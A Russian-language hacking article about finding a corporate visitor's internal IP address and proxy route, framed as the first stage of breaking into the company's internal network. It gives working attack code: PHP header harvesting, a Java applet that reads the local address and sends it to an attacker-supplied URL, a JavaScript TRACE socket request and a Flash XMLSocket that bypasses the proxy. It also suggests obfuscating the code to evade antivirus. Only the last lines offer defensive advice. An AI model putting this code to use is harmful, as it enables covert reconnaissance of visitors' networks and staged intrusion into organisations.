Специалисты сошлись во мнениях: сегодня безопасность корпоративных сетей находится под большой угрозой, хакерам удалось проникнуть за периметр локальных сетей. На сей раз из боевого арсенала, они выбрали наиболее уязвимое звено в безопасности – веб-приложения.
По данным Web Application Security Consortium, исследования 2006 года показали, что более чем 85% веб приложений уязвимы к атакам XSS:
Статистика не рисует радужных перспектив для пользователей, в тоже время, она не может не радовать хакеров. Используя XSS, хакеры могут внедрять свой код на чужие сайты, с целью хищения данных клиентов. Помимо уже популярных сценариев с кражей личных данных, номеров кредитных карт, и т.д. сегодня стали популярными схемы проникновения в корпоративные сети клиентов, средствами одних только веб технологий. Комбинации из PHP, JavaScript и Java превращают невинные веб ресурсы в капканы для внутренних сетей больших корпораций. Именно об этом мы сегодня и поговорим…
Проникновение с использованием веб-технологий накладывает на нас определенные ограничения в выборе методов для атаки, а заложенная в них специфика требует применения изощренных техник. В ближайших статьях мы рассмотрим сценарии проникновения в корпоративные сети, сканирование сети, и атаки на внутренние веб-сервера. А в этой части поговорим исключительно про определение характеристик внутренней сети. Эти данные окажутся нам полезными на втором этапе проникновения – сканировании сети.
Итак, наша цель определить внутренний IP адрес клиента, чтобы в дальнейшем иметь представление о маске сети. Допустим что, сотрудник компании зашел на страницу хакера: http://www.hacker.com/go2intranet.php . Первое, и самое простое, что мы можем узнать о клиенте – это его внешний адрес.
Внешний адрес
Авторизация пользователя на сервере может осуществляется по многим критериям, это может быть идентификатор сессии в HTML коде, содержимое данных cookie, или же внешний IP адрес клиента. В зависимости от задачи разработчики выбирают наиболее подходящий им метод, но независимо от этого веб-сервер предоставляет им все имеющиеся данные. Для злоумышленника, в данном случае, представляет интерес внешний адрес клиента, который можно легко узнать средствами языка PHP.
В PHP собранная сервером информация хранится в массиве $_SERVER, сюда входят данные о самом сервере, активной странице, и собственно о клиенте. Конкретно адрес клиента хранится в переменной REMOTE_ADDR, и если вы посетили страницу хакера, последний без труда вычислит ваш внешний IP:
Как видно из примера, доступной также является информация о номере порта, через который браузер соединяется с веб-сервером и DNS имя клиента. Последнее узнается через «Rreverse DNS lookup», относительно IP адреса клиента. Допустим, мы получили следующий результат:
REMOTE_ADDR: 20.20.20.20
REMOTE_PORT: 37938
REMOTE_HOST: proxy.isp.com
Но что нам дает эта информация? Если разобраться, то не так уж и много. Для атаки на внутреннюю сеть, этих данных менее чем достаточно, ведь внешний IP скорее всего не имеет никакого отношения к компании. Вероятнее всего, адрес принадлежит компании предоставляющей доступ в Интернет…
В самом простом виде, схему подключения корпоративного пользователя, можно представить как цепь из 4-х систем:
Не считая систему клиента и сам веб-сервер (30.30.30.30), у нас остаются два участника: внутренний сервер компании и внешний сервер провайдера, предоставляющий доступ в Интернет. В прошлом примере мы узнали внешний адрес клиента, но это не его внутренний IP, это вероятнее всего адрес прокси-сервера провайдера. Можно делать догадки и точно определить его принадлежность, но такое расследование выходит за рамки этой статьи, мы же будем считать, что 20.20.20.20 это сервер ISP.
На этом наши поиски не закончились, продолжим изучать переменную $_SERVER.
Маршрут
Кроме уже описанных данных, в переменных сервера могут храниться заголовки X-Forwarded-For и Via. Они являются служебными и формируются промежуточными серверами, по мере транспортировки запроса. Эти поля в последующем используются для идентификации клиента пославшего запрос, чтобы потом доставить ему ответ сервера.
Теперь, нам известно, что proxy.isp.com, действительно принадлежит провайдеру. Если посмотреть на значение VIA в заголовке, то видно, что пакет проходит через proxy.intranet.com, а уже потом через proxy.isp.com. Также можно добавить, что обе прокси работают по порту 3128 и используют squid 2.6.
Опираясь на значение X-Forwarded-For, мы определяем локальный адрес клиента (192.168.10.5), поскольку proxy.intranet.com лежит в той же подсети, его адрес будет 192.168.10.ХХ. Корпоративный прокси, предоставляет доступ в сеть провайдера, в его под сети он имеет адрес 10.10.10.10. Больше про сеть провайдера мы не можем ничего сказать, но это и не важно, ведь наша цель проникновение в корпоративную сеть.
Итак, мы нашли адрес клиента, и имеем некоторую информацию о маршрутизации Интернет трафика. Все наши сведенья получены с помощью данных хранящихся в заголовках запросов, но часто пользователи или провайдер пытаются скрыть эту информацию, и блокируют передачу таких данных…
Java applet
В тех случаях, когда прокси обрезает эти заголовки или хакер не имеет доступа к серверной стороне (например, если его скрипт внедрен в чужой сайт), вышеописанная техника не будет эффективной. Но если у клиента установлена виртуальная машина Java, хакер может создать специальный апплет и уже с его помощью определить локальный адрес клиента.
Впервые этот способ был продемонстрирован еще в 2002 году. Lars Kindermann, автор идеи, тогда даже не подозревал, насколько востребованным может стать его решение в будущем. Идея программы заключается, в том, что Java код находящийся на сервере www.hacker.com, создает подключение к самому себе. В результате создается экземпляр класса java.net.socket, в котором хранится сетевая информация о клиенте:
import java.applet.*;
import java.awt.*;
import java.io.*;
import java.net.*;
public class javaSocket extends Applet {
// это структура, мы используем ее для хранения
// сетевой информации о хосте:
public class Host{
public String name;
public String ip;
public int port;
};
public int ubyte( byte value){
return (int)value & 0xff;
}
public String getStringIP(byte[] ip){
return ( ubyte(ip[0]) + «.»
+ ubyte(ip[1]) + «.»
+ ubyte(ip[2]) + «.»
+ ubyte(ip[3])
);
}
// это служебная функция, для демонстрации
// она выводит в Ява консоль информацию про хост
public void showHost(String name,Host host)
{
System.out.println( name + » name: » + host.name );
System.out.println( name + » port: » + host.port );
System.out.println( name + » ip: » + host.ip );
return;
}
// функция определяет адрес веб-сервера
public Host getHostBase(){
Host base = new Host();
// берем DNS имя веб-сервера
base.name = getDocumentBase().getHost();
// порт по которому он работает
base.port = getDocumentBase().getPort();
if( base.port == -1 )
base.port = 80; // на заметку: -1 = 80
base.ip = «unknown»;
// создаем подключение к серверу по его DNS,
// чтобы получить IP адрес сервера:
try
{
Socket connection = new Socket(base.name, base.port);
byte[] ip = connection.getInetAddress().getAddress();
base.ip = getStringIP(ip); // превращаем массив в строку
}catch(Exception e){ base.ip = «error»; };
return base;
}
// получаем локальный адрес клиента:
public Host getHostLocal()
{
// берем адрес сервера
Host base = getHostBase();
Host local = new Host();
try {
// создаем подключение к серверу:
Socket connection = new Socket(base.name, base.port);
// Это наше локальное имя:
local.name = connection.getLocalAddress().getHostName();
// Это наш адрес:
local.ip = connection.getInetAddress().getHostAddress();
// Это порт подключения:
local.port = connection.getLocalPort();
if( local.port == -1 )
local.port = 80; // это уже понятно
} catch(Exception e)
{
// если произошла ошибка, возвращаем хоть что-то:
local.name = «localhost»;
local.port = ’0′;
local.ip = «127.0.0.1″;
}
return local;
}
// Инициализация:
public void init()
{
showHost(«server», getHostBase() );
showHost(«local», getHostLocal() );
}
}
Для исполнения аплета, добавляем следующий код в наш скрипт go2intranet.php:
Апплет выводит данные в консоль виртуальной машины Ява:
На практике, он может делать специальный запрос на веб-сервер, чтобы передать полученные данные хакерскому скрипту. Далее мы рассмотрим комплексное решение, по определению клиентского IP адреса, поэтому обработку данных оставим на потом.
Следует заметить, что прокси или антивирус может блокировать активное содержимое, в таком случае следует применять обфускацию кода. Тэг апплета, можно добавлять в документ на лету, используя JavaScript:
Недостаток этого метода в том, что он работает только в Internet Explorer. В Firefox объект XmlHttpConnection не содержит такой ошибки, и поэтому не может быть поэксплуатирован. В 2006 году компонент Flash-плеера тоже имел уязвимость, которая позволяла использовать метод TRACE для взаимодействия с сервером. Но и она была вскоре исправлена. На данный момент во всех браузерах, только Ява позволяет осуществить TRACE запросы. Недавно Anurag Agarwal, написал пример для Firefox, использующий java.net.socket, для трассировки запроса:
var l = document.location;
var host =l.host.toString();
var port = 80;
var addr = new java.net.InetAddress.getByName(host);
var socket = new java.net.Socket(addr,port);
var wr =
new java.io.BufferedWriter(
new java.io.OutputStreamWriter(socket.getOutputStream(),"UTF8")
);
var rd = new java.io.BufferedReader(
new java.io.InputStreamReader(socket.getInputStream())
);
wr.write("TRACE / HTTP/1.1 n");
wr.write("Host: " + host + "n");
wr.write("nr");wr.flush();
var lines = "";
while ((str = rd.readLine()) != null)
{ lines += str + "n"; }
alert(lines);
wr.close();
rd.close();
socket.close();
Как видите, если в запросе передаются интересующие нас данные(X-Forwarded-For и Via) атакующий имеет широкий спектр инструментария, чтобы с легкостью заполучить их. Но как уже говорилось ранее, эти поля могут отсутствовать. Если пользователь для выхода в Интернет использует анонимный прокси-сервер, от них не останется и следа. Что может предпринять хакер, для того чтобы обойти прокси?
Flash XMLSocket
Практически все программные средства доступные из браузера, используют его настройки при сетевом обмене данными. Поскольку прокси сервер настраивается в нем же, то все подключения должны делаться через него. Так оно и есть, за исключением некоторых объектов, которые игнорируют прокси сервер. Один из таких объектов XMLSocket реализованный во Flash.
Объект XMLSocket используется для обмена данными между Flash приложением и сервером, без использования прокси. Его реализация имеет ряд ограничений, самое существенное из которых - это требования к порту подключения. В целях безопасности номер порта должен быть больше 1024, поэтому у хакера должна быть возможность его прослушивать со стороны сервера. Также стоит заметить, что на сервере, должен находиться файл policy.xml, позволяющий подключение по выбранному порту. В самом простом варианте, он должен иметь следующее содержание:
Такая конфигурация позволяет подключение с любого адреса по любому порту. Для примера будем считать, что хакер открыл порт 9000 (в Apache это делается добавлением LISTEN 9000). И настроил его так, что все полученные на него данные пересылаются на 80 порт (веб-сервер). В таком случае исходный код Flash, будет иметь следующий вид:
s = new XMLSocket(); // создаем сокет
// настраиваем…
s.onConnect = handleConnect;
// подключаемся на порт 9000
s.connect(null, 9000);
// если подключились, имитируем GET запрос к нашему скрипту
function handleConnect(success) {
if(success) {
s.send(“GET /go2intranet.php HTTP/1.1 n”);
s.send(“Host: hacker.comn”);
s.send(“nr”);
}
}
При успешном исполнении, Flash инициирует подключение к серверу на 9000-й порт, минуя прокси-сервер, и тем самым раскроет реальный адрес клиента. Но не стоит забывать, что использование этого метода возможно только в тех случаях, когда хакер имеет права на редактирование конфигурации сервера. Если такой возможности у хакера нет, то у него еще остается шанс миновать прокси, используя java, которая позволяет посылать UDP пакеты на сервер…
Metasploit Decloaking Engine
Очень хорошее решение нашей задачи предложил проект Metasploit. Демонстрация использует несколько вариантов тестирования, чтобы более точно определить сетевую конфигурацию клиента. Самое интересное в этом решении, это определение DNS сервера провайдера, предоставляющего доступ в Интернет.
'); echo('
'); echo(''); list($forwarded) = split(',', $_SERVER['HTTP_X_FORWARDED_FOR'], 2); $_SESSION['forwarded'] = 'local,,' . $forwarded . ','; $_SESSION['remote'] = 'local,' . $_SERVER['REMOTE_HOST'] . ',' . $_SERVER['REMOTE_ADDR'] . ',' . $_SERVER['REMOTE_PORT']; }; ?>
Таким будет код Java апплета:
import java.applet.*;
import java.awt.*;
import java.io.*;
import java.net.*;
public class javaSocket extends Applet {
public class Host{
public String name;
public String ip;
public int port;
};
public int ubyte( byte value){
return (int)value & 0xff;
}
public String getStringIP(byte[] ip){
return ( ubyte(ip[0]) + "."
+ ubyte(ip[1]) + "."
+ ubyte(ip[2]) + "."
+ ubyte(ip[3])
);
}
public void showHost(String name,Host host)
{
System.out.println( name + " name: " + host.name );
System.out.println( name + " port: " + host.port );
System.out.println( name + " ip: " + host.ip );
return;
}
public Host getHostBase(){
Host base = new Host();
base.name = getDocumentBase().getHost();
base.port = getDocumentBase().getPort();
if( base.port == -1 )
base.port = 80;
base.ip = "unknown";
try
{
Socket connection = new Socket(base.name, base.port);
byte[] ip = connection.getInetAddress().getAddress();
base.ip = getStringIP(ip);
}catch(Exception e){ base.ip = "error"; };
return base;
}
public Host getHostLocal()
{
Host base = getHostBase();
Host local = new Host();
try {
Socket connection = new Socket(base.name, base.port);
local.name = connection.getLocalAddress().getHostName();
local.ip = connection.getInetAddress().getHostAddress();
local.port = connection.getLocalPort();
if( local.port == -1 )
local.port = 80;
} catch(Exception e)
{
local.name = "localhost";
local.port = '0';
local.ip = "127.0.0.1";
}
return local;
}
public void saveHost(String local,Host host)
{
String url = getParameter("url2save");
String data= local
+"," + host.name
+"," + host.ip
+"," + host.port;
try
{
URLConnection connection =
new URL(url + "&method=java&data=" + data ).openConnection();
BufferedReader in = new BufferedReader(
new InputStreamReader(connection.getInputStream( ) ) );
char[] buffer = new char[1024];
int charsRead;
while((charsRead = in.read(buffer, 0, 1024)) != -1)
{
String contents = new String(buffer, 0, charsRead);
System.out.println( contents );
}
} catch (Exception e) { }
return;
}
public void init()
{
showHost("local", getHostLocal() );
saveHost("local", getHostLocal() );
}
}
Все остальные комбинации оставляю для самостоятельной работы читателей. Стоит также добавить, что выбор техники может определяться динамически. Определить поддержку Java можно из JavaScript-а:
alert( navigator.javaEnabled() );
Для примеров под FireFox необходимо определять имя браузера:
alert( navigator.appName );
И в таком духе реализовать комплексную проверку.
Для конечных пользователей можно лишь посоветовать использовать анонимные прокси, отключить поддержку Java и Flash. Не самая радужная перспектива, зато полезная штука для соблюдения корпоративной безопасности.
Будьте бдительны…